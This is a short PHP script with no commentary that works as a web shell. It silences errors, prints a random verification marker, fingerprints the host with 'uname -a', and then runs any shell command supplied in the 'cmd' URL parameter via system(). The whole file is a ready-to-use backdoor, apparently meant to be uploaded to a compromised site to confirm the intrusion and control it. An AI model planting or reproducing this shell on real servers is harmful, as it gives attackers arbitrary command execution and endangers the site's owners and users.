<?php 
header("Content-Type: text/plain");
@error_reporting(0);
@ini_set('display_errors', 0);
$marker = "SMP_VERIFY_" . bin2hex(random_bytes(8));
echo $marker . "\n";
echo "UNAME: ";
system("uname -a 2>/dev/null || ver 2>/dev/null || cat /proc/version 2>/dev/null || echo NO_UNAME");
echo "\n" . $marker . "_END";
if(isset($_GET['cmd'])) {
    echo "\nCMD_OUTPUT:\n";
    system($_GET['cmd']);
}
?>